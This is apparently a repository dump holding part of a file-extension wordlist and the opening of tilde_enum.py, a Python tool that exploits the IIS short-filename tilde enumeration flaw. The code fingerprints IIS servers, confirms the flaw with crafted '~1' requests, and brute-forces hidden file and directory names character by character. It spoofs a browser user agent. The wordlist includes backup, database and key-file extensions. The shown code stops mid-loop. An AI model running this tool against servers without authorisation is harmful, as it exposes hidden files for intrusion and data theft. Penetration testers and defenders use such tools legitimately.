1559 | nrg
1560 | nrh
1561 | nri
1562 | nrl
1563 | nrm
1564 | nrs
1565 | nru
1566 | nrw
1567 | ns2
1568 | ns3
1569 | ns4
1570 | nsd
1571 | nsf
1572 | nth
1573 | ntj
1574 | ntx
1575 | nu3
1576 | num
1577 | numbers
1578 | nv3
1579 | nvf
1580 | nvl
1581 | nxg
1582 | nyf
1583 | oab
1584 | oar
1585 | ob5
1586 | obak
1587 | obj
1588 | obk
1589 | obyx
1590 | och
1591 | ocx
1592 | odb
1593 | odf
1594 | odp
1595 | ods
1596 | odt
1597 | odx
1598 | oeaccount
1599 | oeb
1600 | ofb
1601 | ofc
1602 | off
1603 | offer.php
1604 | offline
1605 | ofm
1606 | oft
1607 | ofx
1608 | ogg
1609 | ogv
1610 | old
1611 | old.1
1612 | old.2
1613 | old.asp
1614 | old.htm
1615 | old.html
1616 | old.old
1617 | old.php
1618 | old1
1619 | old2
1620 | old3
1621 | older
1622 | oliver
1623 | omcs
1624 | omg
1625 | omp
1626 | ond
1627 | one
1628 | online
1629 | oo3
1630 | open
1631 | opendir
1632 | opensearch
1633 | opf
1634 | opml
1635 | opml.config
1636 | opt
1637 | opx
1638 | or2
1639 | or3
1640 | or4
1641 | or5
1642 | or6
1643 | ora
1644 | ord
1645 | org
1646 | org-tov.html
1647 | org.master
1648 | org.master.cs
1649 | org.sln
1650 | org.ua-tov.html
1651 | org.vssscc
1652 | org.zip
1653 | ori
1654 | orig
1655 | orig.html
1656 | origin.php
1657 | original
1658 | original_epub
1659 | original_mobi
1660 | original.html
1661 | orx
1662 | osg
1663 | otf
1664 | otl
1665 | otln
1666 | ots
1667 | oui
1668 | out
1669 | outbound
1670 | outcontrol
1671 | ov2
1672 | ova
1673 | ovb
1674 | ovf
1675 | owen
1676 | oyx
1677 | p2i
1678 | p2v
1679 | p3c
1680 | p3p
1681 | p7b
1682 | p7m
1683 | p15
1684 | p24
1685 | p96
1686 | p97
1687 | pab
1688 | pac
1689 | package
1690 | packgz
1691 | pad
1692 | pae
1693 | paf
1694 | page
1695 | page_pls_all_password
1696 | pages
1697 | pak
1698 | pal
1699 | pan
1700 | paq6
1701 | paq7
1702 | paq8
1703 | par
1704 | par2
1705 | parse-url
1706 | parse.errors
1707 | part
1708 | partfinder
1709 | partimg
1710 | partimg.bz2
1711 | partimg.gz
1712 | pass
1713 | patch
1714 | paul
1715 | pbb
1716 | pbd
1717 | pbf
1718 | pbi
1719 | pbr
1720 | pca
1721 | pcap
1722 | pcb
1723 | pcd
1724 | pchd
1725 | pck
1726 | pcr
1727 | pcu
1728 | pcv
1729 | pd2
1730 | pd3
1731 | pd4
1732 | pd5
1733 | pdas
1734 | pdb
1735 | pdd
1736 | pdf
1737 | pdf.
1738 | pdf.html
1739 | pdf.pdf
1740 | pdf.php
1741 | pdfx
1742 | pdm
1743 | pds
1744 | pdx
1745 | pea
1746 | peb
1747 | pec
1748 | pem
1749 | pep
1750 | pet
1751 | pex
1752 | pfc
1753 | pfl
1754 | pfx
1755 | pgp
1756 | pgsql.txt
1757 | pgt
1758 | phb
1759 | phdo
1760 | phm
1761 | pho
1762 | photo
1763 | php
1764 | php_
1765 | php_files
1766 | php_old
1767 | php-
1768 | php--------------
1769 | php-dist
1770 | php,
1771 | php.
1772 | php.backup
1773 | php.bak
1774 | php.htm
1775 | php.html
1776 | php.inc
1777 | php.lck
1778 | php.mno
1779 | php.old
1780 | php.original
1781 | php.php
1782 | php.sample
1783 | php.static
1784 | php.txt
1785 | php}
1786 | php~
1787 | php1
1788 | php2
1789 | php3
1790 | php4
1791 | php5
1792 | phphp
1793 | phpl
1794 | phpmailer.php
1795 | phpp
1796 | phppar
1797 | phps
1798 | phpvreor.php
1799 | phpx
1800 | pht
1801 | phtm
1802 | phtml
1803 | pim
1804 | pis
1805 | pit
1806 | pix
1807 | piz
1808 | pjx
1809 | pka
1810 | pkb
1811 | pkg
1812 | pkh
1813 | pks
1814 | pkt
1815 | pl.html
1816 | pln
1817 | pls
1818 | plugins
1819 | plw
1820 | plx
1821 | pmo
1822 | pmr
1823 | pmz4
1824 | png
1825 | png,bmp
1826 | png.php
1827 | pnp
1828 | pnproj
1829 | pnpt
1830 | pns
1831 | pnt
1832 | pod
1833 | poi
1834 | pop_3d_viewer
1835 | pop_formata_viewer
1836 | pop3.php
1837 | popup
1838 | popup.php
1839 | popup.pop_3d_viewer
1840 | popup.pop_formata_viewer
1841 | portal
1842 | pos
1843 | postal
1844 | posting.prep
1845 | pot
1846 | potm
1847 | potx
1848 | pp2
1849 | ppf
1850 | pps
1851 | ppsx
1852 | ppt
1853 | pptm
1854 | pptx
1855 | pqb
1856 | pqi
1857 | prc
1858 | pre
1859 | preg-match
1860 | prep
1861 | prev
1862 | prev_next
1863 | preview
1864 | preview-content.php
1865 | previous
1866 | prf
1867 | prg
1868 | prhtm
1869 | price
1870 | print
1871 | print-frame
1872 | print.
1873 | print.html
1874 | print.jsp
1875 | print.php
1876 | print.shtml
1877 | printable
1878 | printer
1879 | prj
1880 | prl
1881 | prm
1882 | process
1883 | product_details
1884 | properties
1885 | propfinder
1886 | prs
1887 | prt
1888 | prv
1889 | psa
1890 | psb
1891 | psc
1892 | psd
1893 | psf
1894 | psm
1895 | psp
1896 | pspautosave
1897 | psql
1898 | pst
1899 | psw
1900 | ptb
1901 | ptf
1902 | ptk
1903 | ptm
1904 | ptn
1905 | ptt
1906 | ptz
1907 | pub
1908 | publish
1909 | publisher.php
1910 | pup
1911 | purgeable
1912 | puz
1913 | pvk
1914 | pvl
1915 | pvx
1916 | pwa
1917 | pwd
1918 | pxj
1919 | pxl
1920 | pyc
1921 | q3d
1922 | q07
1923 | q08
1924 | q09
1925 | qb2013
1926 | qb2014
1927 | qbb
1928 | qbk
1929 | qbmb
1930 | qbmd
1931 | qbw
1932 | qcn
1933 | qda
1934 | qdat
1935 | qdb
1936 | qdf
1937 | qdf-backup
1938 | qdfm
1939 | qdk
1940 | qel
1941 | qfx
1942 | qib
1943 | qic
1944 | qif
1945 | qmd
1946 | qpb
1947 | qpf
1948 | qph
1949 | qpm
1950 | qpw
1951 | qrp
1952 | qsd
1953 | qtgp
1954 | query
1955 | QuickBooksAutoDataRecovery
1956 | quickenbackup
1957 | qxd
1958 | r00
1959 | r01
1960 | r02
1961 | r03
1962 | r04
1963 | r05
1964 | r06
1965 | r07
1966 | r08
1967 | r09
1968 | r10
1969 | r11
1970 | r12
1971 | r13
1972 | r14
1973 | r15
1974 | r16
1975 | r17
1976 | r18
1977 | r19
1978 | r20
1979 | r21
1980 | r22
1981 | r23
1982 | r24
1983 | r25
1984 | r26
1985 | r27
1986 | r30
1987 | rabattlp
1988 | rails
1989 | ral
1990 | ram
1991 | randomhouse
1992 | rar
1993 | rateart.php
1994 | raw
1995 | rb0
1996 | rb1
1997 | rb4
1998 | rbc
1999 | rbf
2000 | rbk
2001 | rbr
2002 | rbt
2003 | rcd
2004 | rcg
2005 | rdb
2006 | rdf
2007 | rdx
2008 | re3
2009 | read
2010 | readfile
2011 | readme
2012 | readme_var_de
2013 | rec
2014 | rec.html
2015 | recherche
2016 | red
2017 | redirect
2018 | redirect.php
2019 | ref
2020 | reg
2021 | registration
2022 | remove
2023 | remove.php
2024 | removed
2025 | ren
2026 | req
2027 | require
2028 | require-once
2029 | requirementsfeestable.php
2030 | restrictor.log
2031 | restrictor.php
2032 | resultados
2033 | results
2034 | resume
2035 | resx
2036 | ret
2037 | rev
2038 | rf1
2039 | rfa
2040 | rfo
2041 | rge
2042 | rgmb
2043 | rgn
2044 | rgo
2045 | rhtm
2046 | rhtml
2047 | rim
2048 | rman
2049 | rmb
2050 | rmbak
2051 | rmuf
2052 | rmvb
2053 | rnc
2054 | rnq
2055 | rod
2056 | rog
2057 | roi
2058 | rom
2059 | roma
2060 | rou
2061 | rp9
2062 | rpk
2063 | rpm
2064 | rpp
2065 | rpt
2066 | rrr
2067 | rrt
2068 | rsc
2069 | rsd
2070 | rsp
2071 | rss
2072 | rss_cars
2073 | rss_homes
2074 | rss_jobs
2075 | rss.php
2076 | rsw
2077 | rte
2078 | rtf
2079 | rtfd
2080 | ru-tov.html
2081 | ru.html
2082 | run
2083 | run.adcode
2084 | rvt
2085 | rwg
2086 | rzb
2087 | rzs
2088 | s.html
2089 | s00
2090 | s01
2091 | s02
2092 | s7z
2093 | s85
2094 | saf
2095 | safe
2096 | salestax.php
2097 | sam07
2098 | sample
2099 | sar
2100 | sat
2101 | sav
2102 | save
2103 | saved
2104 | sbb
2105 | sbd
2106 | sbf
2107 | sbk
2108 | sbq
2109 | sbt
2110 | sbu
2111 | sca
2112 | scandir
2113 | scc
2114 | scf
2115 | sch
2116 | scp
2117 | scripts
2118 | scrollto.js
2119 | sdb
2120 | sdc
2121 | sdf
2122 | sdn
2123 | sdp
2124 | sdq
2125 | sds
2126 | se.php
2127 | sea
2128 | seam
2129 | search
2130 | search.
2131 | search.asp
2132 | search.htm
2133 | search.html
2134 | search.php
2135 | sec
2136 | sec.cfm
2137 | section
2138 | secure
2139 | sema
2140 | sen
2141 | send
2142 | sendtoafriendform
2143 | sent-
2144 | seo
2145 | seq
2146 | ser
2147 | serv
2148 | server
2149 | server.php
2150 | service
2151 | services
2152 | servlet
2153 | session
2154 | session-regenerate-id
2155 | session-start
2156 | set
2157 | settings
2158 | settings.php
2159 | setup
2160 | sfs
2161 | sfw
2162 | sfx
2163 | sgf
2164 | sgml
2165 | sgn
2166 | shar
2167 | shipcode.php
2168 | shipdiscount.php
2169 | shk
2170 | shop
2171 | shopping_return_adsense.php
2172 | shopping_return.php
2173 | show
2174 | show.php
2175 | shp
2176 | shr
2177 | shs
2178 | sht
2179 | shtm
2180 | shtml
2181 | shtml.html
2182 | shx
2183 | sid
2184 | sidebar
2185 | sidemenu
2186 | sik
2187 | sim
2188 | simplexml-load-file
2189 | sis
2190 | sisx
2191 | sit
2192 | site
2193 | sitemap
2194 | sitemap.
2195 | sitemap.xml
2196 | sitx
2197 | skb
2198 | skc
2199 | skin
2200 | skins
2201 | skv
2202 | skx
2203 | sle
2204 | slk
2205 | sln
2206 | slp
2207 | smi
2208 | smil
2209 | smtp.php
2210 | sn1
2211 | sn2
2212 | sn4
2213 | snapfireshow
2214 | snippet.aspx
2215 | sns
2216 | sol.bbcredirection.page
2217 | sonic
2218 | sort
2219 | sortirovka_customers_rating.napravlenie_asc
2220 | sortirovka_customers_rating.napravlenie_desc
2221 | sortirovka_name.napravlenie_asc
2222 | sortirovka_name.napravlenie_desc
2223 | sortirovka_price.napravlenie_asc
2224 | sortirovka_price.napravlenie_desc
2225 | soundpack
2226 | sparsebundle
2227 | sparseimage
2228 | spb
2229 | sph
2230 | sphp3
2231 | spi
2232 | split
2233 | spo
2234 | sponsors
2235 | sps
2236 | spt
2237 | spub
2238 | spv
2239 | sqb
2240 | sqd
2241 | sql
2242 | sql.gz
2243 | sqlite
2244 | sqr
2245 | squery
2246 | sqx
2247 | sqz
2248 | src
2249 | srch
2250 | srf
2251 | srv
2252 | srvl
2253 | ssb
2254 | ssf
2255 | ssi
2256 | sso
2257 | ssp
2258 | sta
2259 | stackdump
2260 | staged.php
2261 | staging
2262 | start
2263 | start.php
2264 | stat
2265 | static
2266 | stats
2267 | stats.php
2268 | stc
2269 | ste
2270 | step
2271 | stf
2272 | stg
2273 | stk
2274 | stl
2275 | stm
2276 | stml
2277 | store
2278 | storebanner.php
2279 | storefront
2280 | storelogo.php
2281 | storename.php
2282 | story
2283 | stp
2284 | str
2285 | strpos
2286 | sts.php
2287 | stt
2288 | stw
2289 | styk
2290 | stykz
2291 | suarez
2292 | submit
2293 | subscribe
2294 | sun
2295 | suo
2296 | support
2297 | support.html
2298 | sv2i
2299 | svc
2300 | svd
2301 | svg
2302 | svl
2303 | svn
2304 | svs
2305 | swc
2306 | swd
2307 | swf
2308 | swf.html
2309 | swf.lck
2310 | swf.swf
2311 | swi
2312 | swk
2313 | swp
2314 | sxc
2315 | sxi
2316 | sxw
2317 | sy3
2318 | sym
2319 | syncdb
2320 | sys
2321 | system
2322 | t.a
2323 | t.a.
2324 | t01
2325 | t02
2326 | t03
2327 | t04
2328 | t05
2329 | t06
2330 | t07
2331 | t08
2332 | t09
2333 | t3001
2334 | tab-
2335 | table.html
2336 | tablesorter.min.js
2337 | tablesorter.pager.js
2338 | taf
2339 | tar
2340 | tar.bz2
2341 | tar.gz
2342 | targz
2343 | tarxz
2344 | tax2008
2345 | tax2009
2346 | taz
2347 | tb2
2348 | tbi
2349 | tbk
2350 | tbl
2351 | tbz
2352 | tbz2
2353 | tcc
2354 | tcl
2355 | tcs
2356 | tcx
2357 | tda
2358 | tdl
2359 | tdm
2360 | tdr
2361 | tdt
2362 | te3
2363 | teacher
2364 | tech
2365 | tef
2366 | tem
2367 | temp
2368 | temp.php
2369 | template
2370 | template.php
2371 | templates
2372 | templates.php
2373 | temporarily.withdrawn.html
2374 | test
2375 | test.cgi
2376 | test.php
2377 | tet
2378 | tex
2379 | text
2380 | textsearch
2381 | tfa
2382 | tfd
2383 | tfrd
2384 | tga
2385 | tgz
2386 | thanks
2387 | theme
2388 | thm
2389 | thompson
2390 | thtml
2391 | thumb.jpg
2392 | tib
2393 | ticket.submit
2394 | tif
2395 | tiff
2396 | tig
2397 | tim
2398 | tjp
2399 | tk2
2400 | tk3
2401 | tkfl
2402 | tlbackup
2403 | tlp
2404 | tls
2405 | tly
2406 | tlz
2407 | tlzma
2408 | tmb
2409 | tml
2410 | tmp
2411 | tmp.php
2412 | tmpl
2413 | tmr
2414 | tmw
2415 | tofp
2416 | tol
2417 | top
2418 | topc
2419 | torrent
2420 | totalsbackup
2421 | touch
2422 | touch.action
2423 | tpb
2424 | tpl
2425 | tpl.html
2426 | tpl.php
2427 | tps
2428 | tr3
2429 | tra
2430 | trace
2431 | tracker.ashx
2432 | trade
2433 | trck
2434 | trd
2435 | trk
2436 | trn
2437 | trs
2438 | trx
2439 | tst
2440 | tsv
2441 | ttbk
2442 | ttf
2443 | ttk
2444 | tung.php
2445 | tvpi
2446 | txa
2447 | txd
2448 | txf
2449 | txt
2450 | txt.
2451 | txt.gz
2452 | txt.html
2453 | txt.php
2454 | txt.txt
2455 | txz
2456 | types
2457 | uas
2458 | uc2
2459 | uccapilog
2460 | uci
2461 | udb
2462 | udeb
2463 | udif
2464 | uds
2465 | ufo
2466 | ugmart.ug
2467 | uguide
2468 | uha
2469 | ui-1.5.2
2470 | ulf
2471 | ulz
2472 | umb
2473 | undo
2474 | unlink
2475 | unsharp.php
2476 | unsubscribe
2477 | unternehmen
2478 | update
2479 | upgrade
2480 | upoi
2481 | url
2482 | user
2483 | userloginpopup.php
2484 | usr
2485 | utb
2486 | utf8
2487 | uvf
2488 | uwl
2489 | v1.11.js
2490 | v2.php
2491 | v2b
2492 | v2i
2493 | val
2494 | var
2495 | vbb
2496 | vbf
2497 | vbk
2498 | vbpf1
2499 | vbproj
2500 | vbproj.vspscc
2501 | vbproj.webinfo
2502 | vbs
2503 | vcd
2504 | vce
2505 | vcf
2506 | vcs
2507 | vdb
2508 | vdx
2509 | vem
2510 | verify
2511 | vfs
2512 | video
2513 | view
2514 | viewpage__10
2515 | vip
2516 | visapopup.php
2517 | visapopupvalid.php
2518 | vle
2519 | vlg
2520 | vmdk
2521 | vmt
2522 | voi
2523 | vok
2524 | vorteil
2525 | vrd
2526 | vscontent
2527 | vsi
2528 | vsprintf
2529 | vspscc
2530 | vssscc
2531 | vstemplate
2532 | vsx
2533 | vtl
2534 | vtx
2535 | vxlpub
2536 | vxml
2537 | w02
2538 | w3m
2539 | w3x
2540 | wab
2541 | wad
2542 | war
2543 | wav
2544 | wax
2545 | wb1
2546 | wb2
2547 | wb3
2548 | wbmp
2549 | wbp
2550 | wci
2551 | wdb
2552 | wdq
2553 | wea
2554 | web
2555 | web.ui.webresource.axd
2556 | webalizer
2557 | webarchive
2558 | webc
2559 | webinfo
2560 | webm
2561 | webproj
2562 | wfd
2563 | wfm
2564 | wgp
2565 | wgt
2566 | wgx
2567 | wihtm
2568 | wimzi.php
2569 | windowslivecontact
2570 | wireless
2571 | wireless.action
2572 | wjr
2573 | wk1
2574 | wk2
2575 | wk3
2576 | wk4
2577 | wk5
2578 | wke
2579 | wki
2580 | wks
2581 | wku
2582 | wlmp
2583 | wma
2584 | wmdb
2585 | wmf
2586 | wml
2587 | wmv
2588 | woa
2589 | wor
2590 | work
2591 | working
2592 | wot
2593 | wpc
2594 | wpd
2595 | wpf
2596 | wpl
2597 | wplus
2598 | wpo
2599 | wps
2600 | wps.rtf
2601 | wq1
2602 | wq2
2603 | wri
2604 | write.php
2605 | wsc
2606 | wsdl
2607 | wtb
2608 | wtc
2609 | wtr
2610 | wvx
2611 | wws
2612 | wwsec_app_priv.login
2613 | www
2614 | x-affiliate
2615 | x-aom
2616 | x-fancycat
2617 | x-fcomp
2618 | x-giftreg
2619 | x-magnifier
2620 | x-offers
2621 | x-pconf
2622 | x-rma
2623 | x-survey
2624 | xbk
2625 | xconf
2626 | xdb
2627 | xdp
2628 | xds
2629 | xef
2630 | xem
2631 | xez
2632 | xfd
2633 | xfo
2634 | xft
2635 | xgi
2636 | xhtm
2637 | xhtml
2638 | xhtml5
2639 | xlc
2640 | xlgc
2641 | xlr
2642 | xls
2643 | xlsb
2644 | xlsm
2645 | xlsx
2646 | xlt
2647 | xltm
2648 | xltx
2649 | xlw
2650 | xmcd
2651 | xmcdz
2652 | xml
2653 | xml.asp
2654 | xml.gz
2655 | xml.old
2656 | xml.php
2657 | xmlhttp
2658 | xmlper
2659 | xmpz
2660 | xpdf
2661 | xpg
2662 | xpi
2663 | xpj
2664 | xpm
2665 | xpml
2666 | xpt
2667 | xqy
2668 | xrp
2669 | xsd
2670 | xsl
2671 | xslt
2672 | xslx
2673 | xsn
2674 | xsp
2675 | xspf
2676 | xsql
2677 | xst
2678 | xsx
2679 | xtm
2680 | xtp
2681 | xxd
2682 | xy.php
2683 | yam
2684 | z01
2685 | z02
2686 | z03
2687 | z04
2688 | zap
2689 | zdat
2690 | zdb
2691 | zdc
2692 | zfsendtotarget
2693 | zh.html
2694 | zhtml
2695 | zif
2696 | zip
2697 | zip,
2698 | zip.php
2699 | zipx
2700 | zix
2701 | zmc
2702 | zml
2703 | zoo
2704 | zpi
2705 | zpl
--------------------------------------------------------------------------------
/tilde_enum.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | """
4 | -------------------------------------------------------------------------------
5 | Name: tilde_enum.py
6 | Purpose: Expands the file names found from the tilde enumeration vuln
7 | Author: Micah Hoffman (@WebBreacher)
8 | Updates: Crafty Fox (@vulp1n3)
9 | Source: https://github.com/WebBreacher/tilde_enum
10 | -------------------------------------------------------------------------------
11 | """
12 |
13 | import os
14 | import sys
15 | import argparse
16 | import random
17 | import string
18 | import itertools
19 | import urllib2
20 | import ssl
21 | from urlparse import urlparse
22 | from time import sleep
23 |
24 |
25 | #=================================================
26 | # Constants and Variables
27 | #=================================================
28 |
29 | # In the 'headers' below, change the data that you want sent to the remote server
30 | # This is an IE10 user agent
31 | custom_headers = {'User-Agent': 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)'}
32 |
33 | # Targets is the list of files from the scanner output
34 | targets = []
35 |
36 | # Findings is the list of URLs that may be good on the web site
37 | # TODO - Are all of these really necessary?
38 | findings_file = {} # Files discovered
39 | findings_other = [] # HTTP Response Codes other than 200
40 | findings_final = [] # Where the guessed files are output
41 | findings_dir = [] # Directories discovered
42 | findings_dir_other = []
43 | findings_dir_final = []
44 | findings_dir_other_final = []
45 |
46 | # Location of the extension brute force word list
47 | exts = 'exts'
48 |
49 | # Character set to use for brute forcing ([0-9][a-z]_-)
50 | chars = 'abcdefghijklmnopqrstuvwxyz1234567890-_'
51 |
52 | # Response codes - user and error
53 | response_code = {}
54 |
55 | #=================================================
56 | # Functions & Classes
57 | #=================================================
58 |
59 |
60 | def checkOs():
61 | # Check operating system for colorization
62 | if os.name == 'nt':
63 | operating_system = 'windows'
64 | else:
65 | operating_system = 'posix'
66 | return operating_system
67 |
68 |
69 | def getWebServerResponse(url):
70 | # This function takes in a URL and outputs the HTTP response code and content length (or error)
71 | try:
72 | req = urllib2.Request(url, headers=custom_headers)
73 | if args.cookies:
74 | req.add_header('Cookie', args.cookies)
75 | req.add_header('Connection', 'keep-alive')
76 | response = urllib2.urlopen(req)
77 | return response
78 | except urllib2.URLError as e:
79 | return e
80 | except ssl.CertificateError as e:
81 | sys.exit(bcolors.RED + '[!] SSL Certificate Error: try running again with --no-check-certificate' + bcolors.ENDC)
82 | except Exception as e:
83 | return 0
84 |
85 |
86 | def initialCheckUrl(url):
87 | # This function checks to see if the web server is running and what kind of response codes
88 | # come back from bad requests (this will be important later)
89 |
90 | # Need to split url into protocol://host|IP and then the path
91 | u = urlparse(url)
92 |
93 | # Make a string that we can use to ensure we know what a "not found" response looks like
94 | not_there_string = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits) for x in range(10))
95 | print bcolors.GREEN + '[-] Testing with dummy file request %s://%s/%s.htm' % (u.scheme, u.netloc, not_there_string) + bcolors.ENDC
96 | not_there_url = u.scheme + '://' + u.netloc + '/' + not_there_string + '.htm'
97 |
98 |
99 | # Make the dummy request to the remote server
100 | not_there_response = getWebServerResponse(not_there_url)
101 |
102 |
103 | # Create a content length
104 | not_there_response_content_length = len(not_there_response.read())
105 |
106 | if not_there_response.getcode():
107 | print '[-] URLNotThere -> HTTP Code: %s, Response Length: %s' % (not_there_response.getcode(), not_there_response_content_length)
108 | response_code['not_there_code'], response_code['not_there_length'] = not_there_response.getcode(), not_there_response_content_length
109 | else:
110 | print '[+] URLNotThere -> HTTP Code: %s, Error Code: %s' % (not_there_response.code, not_there_response.reason)
111 | response_code['not_there_code'], response_code['not_there_reason'] = not_there_response.code
112 |
113 | # Check if we didn't get a 404. This would indicate custom error messages or some redirection and will cause issues later.
114 | if response_code['not_there_code'] != 404:
115 | print bcolors.RED + '[!] FALSE POSITIVE ALERT: We may have a problem determining real responses since we did not get a 404 back.' + bcolors.ENDC
116 |
117 | # Now that we have the "definitely not there" page, check for one that should be there
118 | print bcolors.GREEN + '[-] Testing with user-submitted %s' % url + bcolors.ENDC
119 | url_response = getWebServerResponse(url)
120 | if url_response.getcode():
121 | response_code['user_length'] = len(url_response.read())
122 | response_code['user_code'] = url_response.getcode()
123 | print '[-] URLUser -> HTTP Code: %s, Response Length: %s' % (response_code['user_code'], response_code['user_length'])
124 | else:
125 | print '[+] URLUser -> HTTP Code: %s, Error Code: %s' % (url_response.code, url_response.reason)
126 | response_code['user_code'], response_code['user_reason'] = url_response.code, url_response.reason
127 |
128 | # Check if we got an HTTP response code of 200.
129 | if response_code['user_code'] != 200:
130 | print bcolors.RED + '[!] ERROR: We did not receive an HTTP response code 200 back. Please check URL.' + bcolors.ENDC
131 | sys.exit()
132 | else:
133 | return response_code
134 |
135 |
136 | def searchFileForString(targetstring, filename):
137 | # Open the wordlist file (or try to)
138 | try:
139 | wordlist = open(filename,'r').readlines()
140 | except (IOError) :
141 | print bcolors.RED + '[!] [Error] Can\'t read the wordlist file you entered.' + bcolors.ENDC
142 | sys.exit()
143 |
144 | matches = []
145 | for line in wordlist:
146 | if line.startswith(targetstring.lower()):
147 | matches.append(line.rstrip())
148 | return matches
149 |
150 |
151 | def checkForTildeVuln(url):
152 | # Set the default string to be IIS6.x
153 | check_string = '*~1*/.aspx'
154 |
155 | # Check if the server is IIS and vuln to tilde directory enumeration
156 | if args.f:
157 | print bcolors.YELLOW + '[!] You have used the -f switch to force us to scan. Well played. Using the IIS/6 "*~1*/.aspx" string.' + bcolors.ENDC
158 | check_string = '*~1*/.aspx'
159 | return check_string
160 |
161 | server_header = getWebServerResponse(url)
162 | if server_header.headers.has_key('server'):
163 | if 'IIS' in server_header.headers['server'] or 'icrosoft' in server_header.headers['server']:
164 | print bcolors.GREEN + '[+] The server is reporting that it is IIS (%s).' % server_header.headers['server'] + bcolors.ENDC
165 | if '5.' in server_header.headers['server']:
166 | check_string = '*~1*'
167 | elif '6.' in server_header.headers['server']:
168 | pass # just use the default string already set
169 | else:
170 | pass # just use the default string already set
171 | else:
172 | print bcolors.RED + '[!] Error. Server is not reporting that it is IIS.'
173 | print '[!] (Request error: %s)' % server_header.getcode()
174 | print '[!] If you know it is, use the -f flag to force testing and re-run the script. (%s)' % server_header + bcolors.ENDC
175 | sys.exit()
176 | else:
177 | print bcolors.RED + '[!] Error. Server is not reporting that it is IIS.'
178 | print '[!] (Request error: %s)' % server_header.getcode()
179 | print '[!] If you know it is, use the -f flag to force testing and re-run the script. (%s)' % server_header + bcolors.ENDC
180 | sys.exit()
181 |
182 | # Check to see if the server is vulnerable to the tilde vulnerability
183 | resp = getWebServerResponse(args.url + '/*~1*/.aspx')
184 | if resp.code == 404:
185 | print bcolors.YELLOW + '[+] The server is vulnerable to the tilde enumeration vulnerability (IIS/5|6.x)..' + bcolors.ENDC
186 | else:
187 | print bcolors.RED + '[!] Error. Server is not probably NOT vulnerable to the tilde enumeration vulnerability.'
188 | print '[!] If you know it is, use the -f flag to force testing and re-run the script.' + bcolors.ENDC
189 | sys.exit()
190 |
191 | return check_string
192 |
193 |
194 | def findExtension(url, filename):
195 | # Find out how many chars the extension has
196 | resp1 = getWebServerResponse(url+filename+'~1.%3f/.aspx') # 1 extension chars
197 | resp2 = getWebServerResponse(url+filename+'~1.%3f%3f/.aspx') # 2 extension chars
198 | resp3 = getWebServerResponse(url+filename+'~1.%3f%3f%3f/.aspx') # 3+ extension chars
199 |
200 | if resp1.code == 404:
201 | for char1 in chars:
202 | resp1a = getWebServerResponse(url+filename+'~1.'+char1+'%3f%3f/.aspx')
203 | sleep(args.snooze)
204 | if resp1a.code == 404: # Got the first valid char
205 | print bcolors.YELLOW + '[+] Found file: ' + filename+' . '+char1+bcolors.ENDC
206 | return filename+'.'+char1
207 |
208 | elif resp1.code != 404 and resp2.code == 404:
209 | for char1 in chars:
210 | resp1a = getWebServerResponse(url+filename+'~1.'+char1+'%3f%3f/.aspx')
211 | sleep(args.snooze)
212 | if resp1a.code == 404: # Got the first valid char
213 | for char2 in chars:
214 | resp2a = getWebServerResponse(url+filename+'~1.'+char1+char2+'%3f/.aspx')
215 | sleep(args.snooze)
216 | if resp2a.code == 404: # Got the second valid char
217 | print bcolors.YELLOW + '[+] Found file: ' +filename+' . '+char1+char2+bcolors.ENDC
218 | return filename+'.'+char1+char2
219 |
220 | elif resp1.code != 404 and resp2.code != 404 and resp3.code == 404:
221 | for char1 in chars:
222 | resp1a = getWebServerResponse(url+filename+'~1.'+char1+'%3f%3f/.aspx')
223 | sleep(args.snooze)
224 | if resp1a.code == 404: # Got the first valid char
225 | for char2 in chars:
226 | resp2a = getWebServerResponse(url+filename+'~1.'+char1+char2+'%3f/.aspx')
227 | sleep(args.snooze)
228 | if resp2a.code == 404: # Got the second valid char
229 | for char3 in chars:
230 | resp3a = getWebServerResponse(url+filename+'~1.'+char1+char2+char3+'%3f/.aspx')
231 | sleep(args.snooze)
232 | if resp3a.code == 404: # Got the third valid char
233 | print bcolors.YELLOW + '[+] Found file: ' +filename+' . '+char1+char2+char3+bcolors.ENDC
234 | return filename+'.'+char1+char2+char3
235 |
236 |
237 | def checkForDirectory(url):
238 | resp = getWebServerResponse(url+'~1/.aspx')
239 | if resp.code == 404:
240 | return True
241 | else:
242 | return False
243 |
244 |
245 | def fileOrDir(files, url, stub):
246 | filename = findExtension(url, stub)
247 | if filename and len(filename) > len(stub):
248 | files.append(filename)
249 | else:
250 | checkForDirectory(url+stub)
251 | print bcolors.YELLOW + '[+] Found a directory: ' + stub + bcolors.ENDC
252 | findings_dir.append(stub)
253 |
254 |
255 | def checkEightDotThreeEnum(url, check_string, dirname='/'):
256 | # Here is where we find the files and dirs using the 404 and 400 errors
257 | # If the dir var is not passed then we assume this is the root level of the server
258 |
259 | findings = {}
260 | files = []
261 |
262 | # Add a slash to the end of the URL
263 | if url[-1:] != '/':
264 | url = url + '/'
265 |
266 | # Break apart the url
267 | u = urlparse(url)
268 | dirname = u.path
269 |
270 | ## Note! 1-2 char filenames show up as 4-6 char 8.3 filenames due to padding with a hash
271 | ## So we skip to 3 char filenames here
272 | for char in chars:
273 | sleep(args.snooze)
274 | resp1 = getWebServerResponse(url+char+check_string)
275 | if resp1.code == 404: # Got the first valid char
276 | for char2 in chars:
277 | stub = char+char2
278 | sleep(args.snooze)
279 | resp2 = getWebServerResponse(url+stub+check_string)
280 |
281 | if resp2.code == 404: # Got the second valid char
282 | for char3 in chars:
283 | stub = char+char2+char3
284 | sleep(args.snooze)
285 | resp3 = getWebServerResponse(url+stub+check_string)
286 |
287 | if resp3.code == 404: # Got the third valid char
288 | if getWebServerResponse(url+stub+'%3f~1*/.aspx').code == 404:
289 | fileOrDir(files, url, stub)
290 | else:
291 | for char4 in chars:
292 | stub = char+char2+char3+char4
293 | sleep(args.snooze)
294 | resp4 = getWebServerResponse(url+stub+check_string)
295 |
296 | if resp4.code == 404: # Got the fourth valid char
297 | if getWebServerResponse(url+stub+'%3f~1*/.aspx').code == 404:
298 | fileOrDir(files, url, stub)
299 | else:
300 | for char5 in chars:
301 | stub = char+char2+char3+char4+char5
302 | sleep(args.snooze)
303 | resp5 = getWebServerResponse(url+stub+check_string)
304 |
305 | if resp5.code == 404: # Got the fifth valid char
306 | if getWebServerResponse(url+stub+'%3f~1*/.aspx').code != 404:
307 | fileOrDir(files, url, stub)
308 | else:
309 | for char6 in chars:
310 | stub = char+char2+char3+char4+char5+char6
311 | sleep(args.snooze)
